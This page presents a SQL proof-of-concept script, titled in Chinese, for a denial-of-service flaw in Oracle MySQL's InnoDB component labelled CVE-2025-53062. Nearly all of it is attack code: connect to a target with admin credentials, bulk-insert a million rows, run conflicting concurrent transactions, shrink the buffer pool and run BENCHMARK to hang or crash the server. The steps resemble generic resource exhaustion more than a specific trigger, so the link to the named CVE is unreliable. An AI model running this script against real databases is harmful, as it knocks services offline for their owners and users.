CVE-2025-53062 Oracle MySQL InnoDB组件拒绝服务漏洞

-- CVE-2025-53062 PoC: Oracle MySQL InnoDB DoS -- Note: Requires high-privilege MySQL account -- This PoC demonstrates triggering a hang/crash in InnoDB component -- Step 1: Connect to target MySQL server with high-privilege credentials -- mysql -h target_host -u admin_user -p -- Step 2: Create test database and table CREATE DATABASE IF NOT EXISTS test_cve_53062; USE test_cve_53062; CREATE TABLE t_innodb_dos ( id INT PRIMARY KEY AUTO_INCREMENT, data TEXT, index_idx INT, FULLTEXT KEY ft_data (data) ) ENGINE=InnoDB; -- Step 3: Insert large amount of data to stress InnoDB DELIMITER $$ CREATE PROCEDURE insert_large_data() BEGIN DECLARE i INT DEFAULT 0; WHILE i < 1000000 DO INSERT INTO t_innodb_dos (data, index_idx) VALUES (REPEAT('A', 1000), i); SET i = i + 1; END WHILE; END$$ DELIMITER ; CALL insert_large_data(); -- Step 4: Trigger InnoDB crash via concurrent transaction manipulation -- Open multiple sessions and execute conflicting operations -- Session 1: START TRANSACTION; SELECT * FROM t_innodb_dos WHERE data LIKE '%AAAA%' FOR UPDATE; -- Session 2 (concurrent): ALTER TABLE t_innodb_dos ENGINE=InnoDB; OPTIMIZE TABLE t_innodb_dos; -- Step 5: Trigger buffer pool exhaustion SET GLOBAL innodb_buffer_pool_size = 5242880; -- Force small buffer pool SELECT BENCHMARK(10000000, MD5(RAND())); -- This may cause MySQL Server to hang or crash due to -- InnoDB resource exhaustion vulnerability (CVE-2025-53062)